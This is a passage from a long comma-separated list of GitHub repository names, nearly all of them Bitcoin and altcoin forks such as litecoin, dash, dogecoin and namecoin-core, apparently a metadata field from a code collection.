igiByte-Team\/digibyte,cqtenq\/feathercoin_core,ccoin-project\/ccoin,ivansib\/sibcoin,pstratem\/bitcoin,vbernabe\/freicoin,lateminer\/bitcoin,s-matthew-english\/bitcoin,UdjinM6\/dash,AllanDoensen\/BitcoinUnlimited,Theshadow4all\/ShadowCoin,Litecoindark\/LTCD,ANCompany\/birdcoin-dev,szlaozhu\/twister-core,elliotolds\/bitcoin,CryptArc\/bitcoin,elecoin\/elecoin,ElementsProject\/elements,axelxod\/braincoin,BTCfork\/hardfork_prototype_1_mvf-bu,brettwittam\/geocoin,adpg211\/bitcoin-master,OstlerDev\/florincoin,maaku\/bitcoin,bitcoin\/bitcoin,metacoin\/florincoin,Kogser\/bitcoin,Kcoin-project\/kcoin,mockcoin\/mockcoin,shelvenzhou\/BTCGPU,rsdevgun16e\/energi,DynamicCoinOrg\/DMC,Kangmo\/bitcoin,zzkt\/solarcoin,roques\/bitcoin,oklink-dev\/litecoin_block,Sjors\/bitcoin,ryanxcharles\/bitcoin,tjth\/lotterycoin,sickpig\/BitcoinUnlimited,coinerd\/krugercoin,MonetaryUnit\/MUE-Src,nvmd\/bitcoin,deadalnix\/bitcoin,DigitalPandacoin\/pandacoin,psionin\/smartcoin,KaSt\/ekwicoin,coinwarp\/dogecoin,XertroV\/bitcoin-nulldata,gwillen\/elements,coinkeeper\/2015-06-22_18-39_feathercoin,haisee\/dogecoin,zestcoin\/ZESTCOIN,sirk390\/bitcoin,qtumproject\/qtum,Anfauglith\/iop-hd,bitcoinxt\/bitcoinxt,brishtiteveja\/truthcoin-cpp,nikkitan\/bitcoin,upgradeadvice\/MUE-Src,ahmedbodi\/test2,and2099\/twister-core,aciddude\/Feathercoin,coinkeeper\/2015-04-19_21-20_litecoindark,wcwu\/bitcoin,OmniLayer\/omnicore,zebrains\/Blotter,Adaryian\/E-Currency,ShadowMyst\/creativechain-core,TierNolan\/bitcoin,PandaPayProject\/PandaPay,brandonrobertz\/namecoin-core,coinwarp\/dogecoin,brettwittam\/geocoin,Richcoin-Project\/RichCoin,midnight-miner\/LasVegasCoin,rustyrussell\/bitcoin,midnight-miner\/LasVegasCoin,wangxinxi\/litecoin,ekankyesme\/bitcoinxt,mruddy\/bitcoin,imharrywu\/fastcoin,Earlz\/dobbscoin-source,CoinProjects\/AmsterdamCoin-v4,UASF\/bitcoin,vcoin-project\/vcoincore,Electronic-Gulden-Foundation\/egulden,btcdrak\/bitcoin,rdqw\/sscoin,habibmasuro\/bitcoin,vericoin\/vericoin-core,borgcoin\/Borgcoin.rar,cryptocoins4all\/zcoin,loxal\/zcash,oklink-dev\/bitcoin,bootycoin-project\/bootycoin,loxal\/zcash,capitalDIGI\/DIGI-v-0-10-4,Earlz\/dobbscoin-source,totallylegitbiz\/totallylegitcoin,xawksow\/GroestlCoin,oleganza\/bitcoin-duo,djpnewton\/bitcoin,jonghyeopkim\/bitcoinxt,brishtiteveja\/truthcoin-cpp,sdaftuar\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,arruah\/ensocoin,llluiop\/bitcoin,nailtaras\/nailcoin,Erkan-Yilmaz\/twister-core,pstratem\/bitcoin,UFOCoins\/ufo,mb300sd\/bitcoin,basicincome\/unpcoin-core,netswift\/vertcoin,ANCompany\/birdcoin-dev,CTRoundTable\/Encrypted.Cash,Richcoin-Project\/RichCoin,ZiftrCOIN\/ziftrcoin,myriadcoin\/myriadcoin,mockcoin\/mockcoin,ahmedbodi\/test2,48thct2jtnf\/P,metacoin\/florincoin,phplaboratory\/psiacoin,kryptokredyt\/ProjektZespolowyCoin,robvanbentem\/bitcoin,fanquake\/bitcoin,sdaftuar\/bitcoin,n1bor\/bitcoin,ArgonToken\/ArgonToken,my-first\/octocoin,m0gliE\/fastcoin-cli,wiggi\/huntercore,Diapolo\/bitcoin,jmgilbert2\/energi,kfitzgerald\/titcoin,zestcoin\/ZESTCOIN,dakk\/soundcoin,odemolliens\/bitcoinxt,myriadcoin\/myriadcoin,Jeff88Ho\/bitcoin,BenjaminsCrypto\/Benjamins-1,initaldk\/bitcoin,botland\/bitcoin,Alex-van-der-Peet\/bitcoin,jmcorgan\/bitcoin,DigitalPandacoin\/pandacoin,bitcoinplusorg\/xbcwalletsource,greenaddress\/bitcoin,vcoin-project\/vcoincore,zotherstupidguy\/bitcoin,fedoracoin-dev\/fedoracoin,bmp02050\/ReddcoinUpdates,pstratem\/bitcoin,rebroad\/bitcoin,jakeva\/bitcoin-pwcheck,kseistrup\/twister-core,destenson\/bitcoin--bitcoin,BTCTaras\/bitcoin,roques\/bitcoin,masterbraz\/dg,genavarov\/brcoin,coinkeeper\/2015-06-22_18-51_vertcoin,litecoin-project\/litecoin,whatrye\/twister-core,Earlz\/renamedcoin,x-kalux\/bitcoin_WiG-B,MazaCoin\/maza,psionin\/smartcoin,hg5fm\/nexuscoin,MikeAmy\/bitcoin,SartoNess\/BitcoinUnlimited,pastday\/bitcoinproject,freelion93\/mtucicoin,CTRoundTable\/Encrypted.Cash,howardrya\/AcademicCoin,jamesob\/bitcoin,privatecoin\/privatecoin,pataquets\/namecoin-core,droark\/bitcoin,Mrs-X\/PIVX,trippysalmon\/bitcoin,myriadcoin\/myriadcoin,upgradeadvice\/MUE-Src,RibbitFROG\/ribbitcoin,nvmd\/bitcoin,Mirobit\/bitcoin,coinkeeper\/2015-06-22_18-36_darkcoin,sstone\/bitcoin,martindale\/elements,zixan\/bitcoin,coinkeeper\/2015-06-22_18-56_megacoin,kleetus\/bitcoin,mastercoin-MSC\/mastercore,gapcoin\/gapcoin,jimmysong\/bitcoin,jimmykiselak\/lbrycrd,langerhans\/dogecoin,rat4\/bitcoin,pinheadmz\/bitcoin,nailtaras\/nailcoin,freelion93\/mtucicoin,error10\/bitcoin,joroob\/reddcoin,scamcoinz\/scamcoin,nathaniel-mahieu\/bitcoin,FrictionlessCoin\/iXcoin,ptschip\/bitcoin,earthcoinproject\/earthcoin,tdudz\/elements,jmcorgan\/bitcoin,dmrtsvetkov\/flowercoin,fsb4000\/bitcoin,bitpay\/bitcoin,mrbandrews\/bitcoin,shurcoin\/shurcoin,coinkeeper\/megacoin_20150410_fixes,UdjinM6\/dash,Anoncoin\/anoncoin,domob1812\/bitcoin,FrictionlessCoin\/iXcoin,Gazer022\/bitcoin,Kore-Core\/kore,Thracky\/monkeycoin,applecoin-official\/fellatio,BTCGPU\/BTCGPU,misdess\/bitcoin,fanquake\/bitcoin,JeremyRand\/namecoin-core,raasakh\/bardcoin.exe,ColossusCoinXT\/ColossusCoinXT,pstratem\/bitcoin,butterflypay\/bitcoin,kseistrup\/twister-core,gapcoin\/gapcoin,daveperkins-github\/bitcoin-dev,bitcoin-hivemind\/hivemind,GroestlCoin\/GroestlCoin,phelixbtc\/bitcoin,svost\/bitcoin,crowning2\/dash,gjhiggins\/vcoincore,goldcoin\/goldcoin,viacoin\/viacoin,BitcoinHardfork\/bitcoin,faircoin\/faircoin,dgenr8\/bitcoin,andreaskern\/bitcoin,donaloconnor\/bitcoin,xurantju\/bitcoin,segsignal\/bitcoin,n1bor\/bitcoin,nanocoins\/mycoin,REAP720801\/bitcoin,oklink-dev\/bitcoin_block,bitcoinsSG\/bitcoin,JeremyRand\/namecoin-core,Kangmo\/bitcoin,kevin-cantwell\/crunchcoin,welshjf\/bitcoin,webdesignll\/coin,mruddy\/bitcoin,wangxinxi\/litecoin,Ziftr\/bitcoin,terracoin\/terracoin,randy-waterhouse\/bitcoin,sdaftuar\/bitcoin,midnight-miner\/LasVegasCoin,pinheadmz\/bitcoin,alejandromgk\/Lunar,Alex-van-der-Peet\/bitcoin,oklink-dev\/litecoin_block,Checkcoin\/checkcoin,Earlz\/renamedcoin,ghostlander\/Feathercoin,DGCDev\/argentum,dagurval\/bitcoinxt,marklai9999\/Taiwancoin,Litecoindark\/LTCD,truthcoin\/truthcoin-cpp,ardsu\/bitcoin,BitcoinPOW\/BitcoinPOW,mrbandrews\/bitcoin,DynamicCoinOrg\/DMC,Mirobit\/bitcoin,zzkt\/solarcoin,dcousens\/bitcoin,alecalve\/bitcoin,Metronotes\/bitcoin,Vector2000\/bitcoin,fanquake\/bitcoin,Mrs-X\/Darknet,wellenreiter01\/Feathercoin,bitcoinec\/bitcoinec,Rav3nPL\/doubloons-08,thrasher-\/litecoin,bitcoinplusorg\/xbcwalletsource,aspanta\/bitcoin,greencoin-dev\/digitalcoin,cryptohelper\/premine,DSPay\/DSPay,Dajackal\/Ronpaulcoin,brishtiteveja\/truthcoin-cpp,greenaddress\/bitcoin,cqtenq\/feathercoin_core,zetacoin\/zetacoin,thesoftwarejedi\/bitcoin,ivansib\/sib16,joshrabinowitz\/bitcoin,sugruedes\/bitcoinxt,jimmykiselak\/lbrycrd,gandrewstone\/bitcoinxt,lakepay\/lake,Mirobit\/bitcoin,biblepay\/biblepay,raasakh\/bardcoin.exe,argentumproject\/argentum,Richcoin-Project\/RichCoin,Bitcoin-ABC\/bitcoin-abc,welshjf\/bitcoin,ahmedbodi\/vertcoin,zsulocal\/bitcoin,romanornr\/viacoin,barcoin-project\/nothingcoin,majestrate\/twister-core,krzysztofwos\/BitcoinUnlimited,dobbscoin\/dobbscoin-source,Climbee\/artcoin,rat4\/bitcoin,emc2foundation\/einsteinium,reddink\/reddcoin,DMDcoin\/Diamond,starwels\/starwels,kbccoin\/kbc,emc2foundation\/einsteinium,CTRoundTable\/Encrypted.Cash,namecoin\/namecoin-core,genavarov\/lamacoin,coinkeeper\/2015-06-22_18-52_viacoin,tjps\/bitcoin,ahmedbodi\/terracoin,lclc\/bitcoin,benma\/bitcoin,rdqw\/sscoin,fullcoins\/fullcoin,thelazier\/dash,dakk\/soundcoin,amaivsimau\/bitcoin,GlobalBoost\/GlobalBoost,Jeff88Ho\/bitcoin,joulecoin\/joulecoin,maraoz\/proofcoin,nbenoit\/bitcoin,ivansib\/sibcoin,jiangyonghang\/bitcoin,OfficialTitcoin\/titcoin-wallet,RibbitFROG\/ribbitcoin,chrisfranko\/aiden,ravenbyron\/phtevencoin,spiritlinxl\/BTCGPU,pouta\/bitcoin,core-bitcoin\/bitcoin,Flurbos\/Flurbo,fullcoins\/fullcoin,ArgonToken\/ArgonToken,MazaCoin\/maza,coinkeeper\/2015-06-22_18-31_bitcoin,funbucks\/notbitcoinxt,svost\/bitcoin,ripper234\/bitcoin,gjhiggins\/fuguecoin,TBoehm\/greedynode,BTCDDev\/bitcoin,nigeriacoin\/nigeriacoin,phelixbtc\/bitcoin,braydonf\/bitcoin,ppcoin\/ppcoin,aspanta\/bitcoin,stevemyers\/bitcoinxt,acid1789\/bitcoin,majestrate\/twister-core,truthcoin\/blocksize-market,Rav3nPL\/PLNcoin,millennial83\/bitcoin,tedlz123\/Bitcoin,IlfirinIlfirin\/shavercoin,JeremyRubin\/bitcoin,zetacoin\/zetacoin,lateminer\/bitcoin,kryptokredyt\/ProjektZespolowyCoin,Justaphf\/BitcoinUnlimited,amaivsimau\/bitcoin,ohac\/sakuracoin,PRabahy\/bitcoin,neuroidss\/bitcoin,Megacoin2\/Megacoin,kbccoin\/kbc,BlockchainTechLLC\/3dcoin,ionomy\/ion,Michagogo\/bitcoin,karek314\/bitcoin,Bitcoinsulting\/bitcoinxt,braydonf\/bitcoin,pstratem\/elements,peercoin\/peercoin,instagibbs\/bitcoin,phplaboratory\/psiacoin,appop\/bitcoin,Diapolo\/bitcoin,aspanta\/bitcoin,coinkeeper\/2015-06-22_18-46_razor,daveperkins-github\/bitcoin-dev,deadalnix\/bitcoin,pstratem\/elements,compasscoin\/compasscoin,awemany\/BitcoinUnlimited,mm-s\/bitcoin,degenorate\/Deftcoin,prusnak\/bitcoin,BitzenyCoreDevelopers\/bitzeny,omefire\/bitcoin,ColossusCoinXT\/ColossusCoinXT,terracoin\/terracoin,truthcoin\/blocksize-market,marlengit\/hardfork_prototype_1_mvf-bu,thesoftwarejedi\/bitcoin,botland\/bitcoin,llluiop\/bitcoin,collapsedev\/circlecash,hyperwang\/bitcoin,miguelfreitas\/twister-core,monacoinproject\/monacoin,sirk390\/bitcoin,Rav3nPL\/polcoin,habibmasuro\/bitcoinxt,fsb4000\/bitcoin,syscoin\/syscoin2,Erkan-Yilmaz\/twister-core,morcos\/bitcoin,jmcorgan\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,jeromewu\/bitcoin-opennet,truthcoin\/truthcoin-cpp,pelorusjack\/BlockDX,myriadteam\/myriadcoin,ptschip\/bitcoinxt,gavinandresen\/bitcoin-git,bankonmecoin\/bitcoin,zestcoin\/ZESTCOIN,koharjidan\/litecoin,rebroad\/bitcoin,Kogser\/bitcoin,RHavar\/bitcoin,plankton12345\/litecoin,rjshaver\/bitcoin,coinkeeper\/2015-06-22_18-52_viacoin,coinkeeper\/2015-06-22_18-51_vertcoin,Rav3nPL\/bitcoin,tdudz\/elements,dscotese\/bitcoin,constantine001\/bitcoin,TGDiamond\/Diamond,shaulkf\/bitcoin,czr5014iph\/bitcoin4e,torresalyssa\/bitcoin,FarhanHaque\/bitcoin,UFOCoins\/ufo,litecoin-project\/bitcoinomg,coinwarp\/dogecoin,genavarov\/brcoin,bitjson\/hivemind,CrimeaCoin\/crimeacoin,kleetus\/bitcoin,segwit\/atbcoin-insight,benma\/bitcoin,WorldcoinGlobal\/WorldcoinLegacy,antonio-fr\/bitcoin,llamasoft\/ProtoShares_Cycle,vlajos\/bitcoin,earonesty\/bitcoin,amaivsimau\/bitcoin,metacoin\/florincoin,credits-currency\/credits,scmorse\/bitcoin,Jeff88Ho\/bitcoin,21E14\/bitcoin,privatecoin\/privatecoin,Kixunil\/keynescoin,jtimon\/bitcoin,okinc\/bitcoin,mooncoin-project\/mooncoin-landann,bitcoinknots\/bitcoin,starwalkerz\/fincoin-fork,Bushstar\/UFO-Project,40thoughts\/Coin-QualCoin,Kixunil\/keynescoin,coinwarp\/dogecoin,monacoinproject\/monacoin,sarielsaz\/sarielsaz,s-matthew-english\/bitcoin,Michagogo\/bitcoin,senadmd\/coinmarketwatch,borgcoin\/Borgcoin1,domob1812\/bitcoin,FrictionlessCoin\/iXcoin,lateminer\/bitcoin,dpayne9000\/Rubixz-Coin,gazbert\/bitcoin,sdaftuar\/bitcoin,millennial83\/bitcoin,GlobalBoost\/GlobalBoost,Dajackal\/Ronpaulcoin,tensaix2j\/bananacoin,capitalDIGI\/litecoin,howardrya\/AcademicCoin,HeliumGas\/helium,KillerByte\/memorypool,Bitcoin-ABC\/bitcoin-abc,coinkeeper\/2015-06-22_18-46_razor,coinkeeper\/2015-06-22_18-36_darkcoin,REAP720801\/bitcoin,dobbscoin\/dobbscoin-source,Rav3nPL\/doubloons-0.10,dev1972\/Satellitecoin,andreaskern\/bitcoin,faircoin\/faircoin,itmanagerro\/tresting,Cancercoin\/Cancercoin,syscoin\/syscoin,qtumproject\/qtum,vtafaucet\/virtacoin,megacoin\/megacoin,blocktrail\/bitcoin,sipa\/bitcoin,mikehearn\/bitcoinxt,enlighter\/Feathercoin,brishtiteveja\/sherlockcoin,bitshares\/bitshares-pts,segwit\/atbcoin-insight,brishtiteveja\/sherlockcoin,RyanLucchese\/energi,CodeShark\/bitcoin,micryon\/GPUcoin,erqan\/twister-core,martindale\/elements,truthcoin\/blocksize-market,pastday\/bitcoinproject,keisercoin-official\/keisercoin,greencoin-dev\/greencoin-dev,nanocoins\/mycoin,projectinterzone\/ITZ,MarcoFalke\/bitcoin,netswift\/vertcoin,DigitalPandacoin\/pandacoin,kallewoof\/elements,okinc\/bitcoin,DigitalPandacoin\/pandacoin,wcwu\/bitcoin,reddink\/reddcoin,benosa\/bitcoin,plankton12345\/litecoin,ajtowns\/bitcoin,UdjinM6\/dash,Richcoin-Project\/RichCoin,OfficialTitcoin\/titcoin-wallet,DynamicCoinOrg\/DMC,Megacoin2\/Megacoin,wederw\/bitcoin,inkvisit\/sarmacoins,myriadteam\/myriadcoin,kbccoin\/kbc,Bluejudy\/worldcoin,riecoin\/riecoin,xieta\/mincoin,FarhanHaque\/bitcoin,gjhiggins\/vcoincore,zottejos\/merelcoin,Vsync-project\/Vsync,reddink\/reddcoin,bcpki\/nonce2testblocks,misdess\/bitcoin,lbrtcoin\/albertcoin,acid1789\/bitcoin,segsignal\/bitcoin,Mrs-X\/PIVX,NunoEdgarGub1\/elements,elliotolds\/bitcoin,richo\/dongcoin,shapiroisme\/datadollar,Mrs-X\/PIVX,domob1812\/i0coin,biblepay\/biblepay,marlengit\/hardfork_prototype_1_mvf-bu,bitcoin-hivemind\/hivemind,pastday\/bitcoinproject,benosa\/bitcoin,franko-org\/franko,vericoin\/vericoin-core,braydonf\/bitcoin,tripmode\/pxlcoin,DGCDev\/argentum,accraze\/bitcoin,bespike\/litecoin,senadmd\/coinmarketwatch,fsb4000\/bitcoin,unsystemizer\/bitcoin,knolza\/gamblr,Exgibichi\/statusquo,nigeriacoin\/nigeriacoin,CoinProjects\/AmsterdamCoin-v4,awemany\/BitcoinUnlimited,royosherove\/bitcoinxt,mm-s\/bitcoin,AdrianaDinca\/bitcoin,bitcoinclassic\/bitcoinclassic,reddink\/reddcoin,gwillen\/elements,accraze\/bitcoin,omefire\/bitcoin,jtimon\/elements,icook\/vertcoin,diggcoin\/diggcoin,applecoin-official\/applecoin,daliwangi\/bitcoin,mruddy\/bitcoin,CarpeDiemCoin\/CarpeDiemLaunch,ashleyholman\/bitcoin,jimblasko\/UnbreakableCoin-master,coinkeeper\/2015-06-22_19-19_worldcoin,FarhanHaque\/bitcoin,nbenoit\/bitcoin,roques\/bitcoin,segwit\/atbcoin-insight,ryanxcharles\/bitcoin,EntropyFactory\/creativechain-core,fussl\/elements,donaloconnor\/bitcoin,npccoin\/npccoin,elecoin\/elecoin,GreenParhelia\/bitcoin,gjhiggins\/vcoin09,langerhans\/dogecoin,tjps\/bitcoin,laudaa\/bitcoin,REAP720801\/bitcoin,faircoin\/faircoin,maaku\/bitcoin,peercoin\/peercoin,cyrixhero\/bitcoin,iQcoin\/iQcoin,jimblasko\/2015_UNB_Wallets,kfitzgerald\/titcoin,dscotese\/bitcoin,MitchellMintCoins\/MortgageCoin,fedoracoin-dev\/fedoracoin,argentumproject\/argentum,shouhuas\/bitcoin,BTCTaras\/bitcoin,bmp02050\/ReddcoinUpdates,brandonrobertz\/namecoin-core,cryptcoins\/cryptcoin,UFOCoins\/ufo,sipsorcery\/bitcoin,prusnak\/bitcoin,KnCMiner\/bitcoin,CodeShark\/bitcoin,mycointest\/owncoin,ardsu\/bitcoin,btcdrak\/bitcoin,ShadowMyst\/creativechain-core,collapsedev\/cashwatt,projectinterzone\/ITZ,jlopp\/statoshi,qreatora\/worldcoin-v0.8,marcusdiaz\/BitcoinUnlimited,Theshadow4all\/ShadowCoin,apoelstra\/bitcoin,cheehieu\/bitcoin,borgcoin\/Borgcoin1,oklink-dev\/bitcoin,cryptocoins4all\/zcoin,cdecker\/bitcoin,untrustbank\/litecoin,genavarov\/ladacoin,richo\/dongcoin,Bitcoin-com\/BUcash,BitcoinPOW\/BitcoinPOW,cryptoprojects\/ultimateonlinecash,Bitcoin-com\/BUcash,kbccoin\/kbc,gandrewstone\/bitcoinxt,OfficialTitcoin\/titcoin-wallet,zander\/bitcoinclassic,webdesignll\/coin,viacoin\/viacoin,royosherove\/bitcoinxt,Adaryian\/E-Currency,ivansib\/sibcoin,npccoin\/npccoin,acid1789\/bitcoin,zemrys\/vertcoin,r8921039\/bitcoin,tdudz\/elements,themusicgod1\/bitcoin,cculianu\/bitcoin-abc,arnuschky\/bitcoin,simdeveloper\/bitcoin,pascalguru\/florincoin,sebrandon1\/bitcoin,digibyte\/digibyte,stamhe\/litecoin,Chancoin-core\/CHANCOIN,tecnovert\/particl-core,lbryio\/lbrycrd,torresalyssa\/bitcoin,mincoin-project\/mincoin,tecnovert\/particl-core,gandrewstone\/bitcoinxt,dobbscoin\/dobbscoin-source,earonesty\/bitcoin,ShadowMyst\/creativechain-core,pataquets\/namecoin-core,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,hsavit1\/bitcoin,zotherstupidguy\/bitcoin,RibbitFROG\/ribbitcoin,rebroad\/bitcoin,coinkeeper\/2015-06-22_18-30_anoncoin,x-kalux\/bitcoin_WiG-B,jameshilliard\/bitcoin,isle2983\/bitcoin,myriadcoin\/myriadcoin,StarbuckBG\/BTCGPU,DSPay\/DSPay,wekuiz\/wekoin,josephbisch\/namecoin-core,oklink-dev\/bitcoin_block,bitcoinknots\/bitcoin,cryptoprojects\/ultimateonlinecash,RyanLucchese\/energi,lbrtcoin\/albertcoin,schinzelh\/dash,Bitcoin-ABC\/bitcoin-abc,thelazier\/dash,nailtaras\/nailcoin,therealaltcoin\/altcoin,ajtowns\/bitcoin,Jeff88Ho\/bitcoin,wangliu\/bitcoin,cculianu\/bitcoin-abc,GwangJin\/gwangmoney-core,goldmidas\/goldmidas,XertroV\/bitcoin-nulldata,error10\/bitcoin,BitcoinUnlimited\/BitcoinUnlimited,GlobalBoost\/GlobalBoost,MonetaryUnit\/MUE-Src,dexX7\/bitcoin,wcwu\/bitcoin,achow101\/bitcoin,BlockchainTechLLC\/3dcoin,bcpki\/testblocks,whatrye\/twister-core,coinwarp\/dogecoin,dashpay\/dash,Vsync-project\/Vsync,sipa\/bitcoin,petertodd\/bitcoin,UASF\/bitcoin,gandrewstone\/BitcoinUnlimited,capitalDIGI\/DIGI-v-0-10-4,willwray\/dash,hasanatkazmi\/bitcoin,cotner\/bitcoin,Cocosoft\/bitcoin,aniemerg\/zcash,Ziftr\/bitcoin,FeatherCoin\/Feathercoin,cryptocoins4all\/zcoin,worldcoinproject\/worldcoin-v0.8,reorder\/viacoin,brettwittam\/geocoin,wederw\/bitcoin,prusnak\/bitcoin,dannyperez\/bolivarcoin,Kixunil\/keynescoin,rsdevgun16e\/energi,aspirecoin\/aspire,MikeAmy\/bitcoin,Petr-Economissa\/gvidon,micryon\/GPUcoin,GroestlCoin\/bitcoin,AkioNak\/bitcoin,capitalDIGI\/litecoin,mb300sd\/bitcoin,koharjidan\/litecoin,habibmasuro\/bitcoin,adpg211\/bitcoin-master,IlfirinCano\/shavercoin,superjudge\/bitcoin,cryptcoins\/cryptcoin,jonasnick\/bitcoin,FeatherCoin\/Feathercoin,RibbitFROG\/ribbitcoin,gjhiggins\/vcoin0.8zeta-dev,cryptcoins\/cryptcoin,Flowdalic\/bitcoin,afk11\/bitcoin,fanquake\/bitcoin,okinc\/bitcoin,habibmasuro\/bitcoinxt,gjhiggins\/vcoin0.8zeta-dev,janko33bd\/bitcoin,nmarley\/dash,zetacoin\/zetacoin,lclc\/bitcoin,coinkeeper\/2015-06-22_18-31_bitcoin,megacoin\/megacoin,thesoftwarejedi\/bitcoin,Bluejudy\/worldcoin,bdelzell\/creditcoin-org-creditcoin,nikkitan\/bitcoin,mammix2\/ccoin-dev,mrtexaznl\/mediterraneancoin,ClusterCoin\/ClusterCoin,brishtiteveja\/truthcoin-cpp,isghe\/bitcoinxt,mockcoin\/mockcoin,MonetaryUnit\/MUE-Src,111t8e\/bitcoin,josephbisch\/namecoin-core,world-bank\/unpay-core,svost\/bitcoin,Kcoin-project\/kcoin,gwangjin2\/gwangcoin-core,Xekyo\/bitcoin,barcoin-project\/nothingcoin,h4x3rotab\/BTCGPU,mycointest\/owncoin,shouhuas\/bitcoin,namecoin\/namecore,genavarov\/ladacoin,antcheck\/antcoin,peerdb\/cors,bitjson\/hivemind,pstratem\/elements,Vector2000\/bitcoin,Kogser\/bitcoin,ardsu\/bitcoin,irvingruan\/bitcoin,parvez3019\/bitcoin,prark\/bitcoinxt,reorder\/viacoin,Rav3nPL\/polcoin,ediston\/energi,argentumproject\/argentum,jrmithdobbs\/bitcoin,manuel-zulian\/accumunet,coinkeeper\/2015-06-22_18-39_feathercoin,Theshadow4all\/ShadowCoin,saydulk\/Feathercoin,cybermatatu\/bitcoin,constantine001\/bitcoin,chaincoin\/chaincoin,qubitcoin-project\/QubitCoinQ2C,botland\/bitcoin,core-bitcoin\/bitcoin,cheehieu\/bitcoin,renatolage\/wallets-BRCoin,CryptArc\/bitcoinxt,josephbisch\/namecoin-core,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,s-matthew-english\/bitcoin,error10\/bitcoin,reorder\/viacoin,daveperkins-github\/bitcoin-dev,dagurval\/bitcoinxt,applecoin-official\/applecoin,ripper234\/bitcoin,ediston\/energi,jmcorgan\/bitcoin,ivansib\/sibcoin,karek314\/bitcoin,metacoin\/florincoin,worldcoinproject\/worldcoin-v0.8,oleganza\/bitcoin-duo,AllanDoensen\/BitcoinUnlimited,bitcoin-hivemind\/hivemind,TrainMAnB\/vcoincore,greencoin-dev\/greencoin-dev,daveperkins-github\/bitcoin-dev,shurcoin\/shurcoin,diggcoin\/diggcoin,GIJensen\/bitcoin,myriadteam\/myriadcoin,domob1812\/bitcoin,ravenbyron\/phtevencoin,bespike\/litecoin,ElementsProject\/elements,zcoinofficial\/zcoin,kevcooper\/bitcoin,ptschip\/bitcoin,gameunits\/gameunits,gjhiggins\/vcoin09,pstratem\/elements,jiffe\/cosinecoin,arruah\/ensocoin,mikehearn\/bitcoin,djpnewton\/bitcoin,untrustbank\/litecoin,GlobalBoost\/GlobalBoost,ashleyholman\/bitcoin,zixan\/bitcoin,projectinterzone\/ITZ,keesdewit82\/LasVegasCoin,vertcoin\/vertcoin,KaSt\/equikoin,denverl\/bitcoin,BTCGPU\/BTCGPU,BitcoinHardfork\/bitcoin,tdudz\/elements,HashUnlimited\/Einsteinium-Unlimited,dan-mi-sun\/bitcoin,domob1812\/huntercore,xuyangcn\/opalcoin,droark\/bitcoin,stevemyers\/bitcoinxt,cotner\/bitcoin,Thracky\/monkeycoin,theuni\/bitcoin,kallewoof\/bitcoin,1185\/starwels,octocoin-project\/octocoin,gandrewstone\/BitcoinUnlimited,bitcoinsSG\/bitcoin,pataquets\/namecoin-core,barcoin-project\/nothingcoin,bitcoinsSG\/bitcoin,ZiftrCOIN\/ziftrcoin,donaloconnor\/bitcoin,digideskio\/namecoin,p2peace\/oliver-twister-core,xawksow\/GroestlCoin,brandonrobertz\/namecoin-core,dgenr8\/bitcoinxt,karek314\/bitcoin,oklink-dev\/bitcoin,sarielsaz\/sarielsaz,skaht\/bitcoin,dscotese\/bitcoin,MarcoFalke\/bitcoin,stamhe\/litecoin,faircoin\/faircoin,achow101\/bitcoin,bitpay\/bitcoin,puticcoin\/putic,dexX7\/bitcoin,Kogser\/bitcoin,cryptocoins4all\/zcoin,chrisfranko\/aiden,drwasho\/bitcoinxt,jiangyonghang\/bitcoin,cryptohelper\/premine,droark\/bitcoin,monacoinproject\/monacoin,yenliangl\/bitcoin,Adaryian\/E-Currency,ftrader-bitcoinabc\/bitcoin-abc,btc1\/bitcoin,PRabahy\/bitcoin,jtimon\/elements,terracoin\/terracoin,thelazier\/dash,tuaris\/bitcoin,petertodd\/bitcoin,xurantju\/bitcoin,mitchellcash\/bitcoin,Diapolo\/bitcoin,p2peace\/oliver-twister-core,jonghyeopkim\/bitcoinxt,untrustbank\/litecoin,isle2983\/bitcoin,morcos\/bitcoin,Ziftr\/litecoin,faircoin\/faircoin2,sbaks0820\/bitcoin,CodeShark\/bitcoin,achow101\/bitcoin,marlengit\/BitcoinUnlimited,Jcing95\/iop-hd,steakknife\/bitcoin-qt,Rav3nPL\/bitcoin,domob1812\/namecore,czr5014iph\/bitcoin4e,osuyuushi\/laughingmancoin,jiangyonghang\/bitcoin,bitjson\/hivemind,ionux\/freicoin,netswift\/vertcoin,Enticed87\/Decipher,mobicoins\/mobicoin-core,supcoin\/supcoin,bcpki\/testblocks,afk11\/bitcoin,wekuiz\/wekoin,ingresscoin\/ingresscoin,brightcoin\/brightcoin,arnuschky\/bitcoin,bitcoinplusorg\/xbcwalletsource,djpnewton\/bitcoin,atgreen\/bitcoin,majestrate\/twister-core,vcoin-project\/vcoincore,Rav3nPL\/polcoin,namecoin\/namecoin-core,coinkeeper\/2015-06-22_19-19_worldcoin,BTCGPU\/BTCGPU,nvmd\/bitcoin,Alex-van-der-Peet\/bitcoin,Flowdalic\/bitcoin,ptschip\/bitcoin,MazaCoin\/maza,Darknet-Crypto\/Darknet,bitpay\/bitcoin,lakepay\/lake,schildbach\/bitcoin,crowning2\/dash,SocialCryptoCoin\/SocialCoin,anditto\/bitcoin,digideskio\/namecoin,oklink-dev\/bitcoin_block,peercoin\/peercoin,isle2983\/bitcoin,goku1997\/bitcoin,deeponion\/deeponion,shaulkf\/bitcoin,zetacoin\/zetacoin,RazorLove\/cloaked-octo-spice,ericshawlinux\/bitcoin,hyperwang\/bitcoin,butterflypay\/bitcoin,bitjson\/hivemind,jrick\/bitcoin,vtafaucet\/virtacoin,AkioNak\/bitcoin,cdecker\/bitcoin,sifcoin\/sifcoin,MeshCollider\/bitcoin,compasscoin\/compasscoin,GroestlCoin\/bitcoin,majestrate\/twister-core,my-first\/octocoin,ionomy\/ion,bespike\/litecoin,shaolinfry\/litecoin,Carrsy\/PoundCoin,Kogser\/bitcoin,tjps\/bitcoin,11755033isaprimenumber\/Feathercoin,morcos\/bitcoin,mapineda\/litecoin,Petr-Economissa\/gvidon,Lucky7Studio\/bitcoin,diggcoin\/diggcoin,butterflypay\/bitcoin,40thoughts\/Coin-QualCoin,sipsorcery\/bitcoin,morcos\/bitcoin,kevin-cantwell\/crunchcoin,bitshares\/bitshares-pts,MasterX1582\/bitcoin-becoin,chaincoin\/chaincoin,Metronotes\/bitcoin,worldbit\/worldbit,erqan\/twister-core,greenaddress\/bitcoin,earonesty\/bitcoin,arnuschky\/bitcoin,Vector2000\/bitcoin,BTCGPU\/BTCGPU,metrocoins\/metrocoin,gol